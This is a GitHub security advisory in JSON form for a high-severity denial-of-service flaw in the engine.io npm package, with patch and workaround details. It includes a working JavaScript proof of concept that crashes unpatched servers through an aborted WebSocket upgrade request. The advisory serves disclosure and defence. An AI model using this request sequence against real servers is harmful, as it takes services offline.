{"id":"GHSA-v775-f652-7rv6","summary":"Socket.IO: Engine.IO DoS via unhandled upgrade error","details":"### Summary\n\nA Denial-of-Service (DoS) vulnerability exists in Engine.IO server due to **unhandled socket errors** when processing invalid upgrade requests. If a client sends an upgrade request to a non-Engine.IO path and disconnects abruptly (e.g., via `ECONNRESET`) before the destruction timeout fires, the socket emits an error event with no listener attached, causing the Node.js process to crash with an **uncaught exception**.\n\n### Proof of concept\n\n```js\nimport net from \"node:net\";\nimport http from \"node:http\";\nimport { Server } from \"engine.io\";\n\n// Start a vulnerable Engine.IO server\nconst engine = new Server();\nconst server = http.createServer();\nengine.attach(server);\n\nserver.listen(3000, () =\u003e {\n  console.log(\"Vulnerable server listening on port 3000\");\n\n  // Attacker: Send an invalid upgrade request and disconnect abruptly\n  const socket = net.connect(3000, () =\u003e {\n    socket.write(\n      \"GET / HTTP/1.1\\r\\n\" +\n      \"Connection: Upgrade\\r\\n\" +\n      \"Upgrade: websocket\\r\\n\" +\n      \"\\r\\n\"\n    );\n    // Disconnect before the 1000ms timeout\n    setTimeout(() =\u003e socket.resetAndDestroy(), 10);\n  });\n});\n```\n\n**Expected Result:** The server crashes with:\n\n```\nUnhandled 'error' event (ECONNRESET)\n```\n\n### Patches\n\nFixed in:\n\n- `engine.io@6.6.12` (via commit https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31)\n\n### Workarounds\n\nIn vulnerable versions, the issue can be mitigated by registering a listener for the `error` event:\n\n```js\nimport http from \"node:http\";\nimport { Server } from \"engine.io\";\n\nconst engine = new Server();\nconst server = http.createServer();\n\n// WORKAROUND: Add a global \"upgrade\" handler to catch ALL sockets\nserver.on(\"upgrade\", (req, socket, head) =\u003e {\n  socket.on(\"error\", (err) =\u003e {\n    console.debug(`[Workaround] Upgrade error: ${err.message}`);\n  });\n});\n\nengine.attach(server);\n\nserver.listen(3000);\n```\n\nNote: This is a **temporary mitigation**. Upgrading to `engine.io@6.6.12` and above is the recommended fix.\n\n### Credits\n\nThe vulnerability was responsibly disclosed by [YuSheng Chen](https://github.com/samuel871211).","aliases":["CVE-2026-137200"],"modified":"2026-12-01T03:15:04.448189246Z","published":"2026-12-01T02:56:43Z","database_specific":{"cwe_ids":["CWE-248"],"severity":"HIGH","github_reviewed":true,"github_reviewed_at":"2026-12-01T02:56:43Z","nvd_published_at":"2026-11-30T21:17:25Z"},"references":[{"type":"WEB","url":"https://github.com/socketio/socket.io/security/advisories/GHSA-v775-f652-7rv6"},{"type":"ADVISORY","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-137200"},{"type":"WEB","url":"https://github.com/socketio/socket.io/commit/f8e8746492f4118c7ef6a40e51f9c26fdc3ecc31"},{"type":"PACKAGE","url":"https://github.com/socketio/socket.io"},{"type":"WEB","url":"https://github.com/socketio/socket.io/releases/tag/engine.io@6.6.12"}],"affected":[{"package":{"name":"engine.io","ecosystem":"npm","purl":"pkg:npm/engine.io"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"6.6.12"}]}],"database_specific":{"source":"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2026/12/GHSA-v775-f652-7rv6/GHSA-v775-f652-7rv6.json"}}],"schema_version":"1.9.2","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H"}]}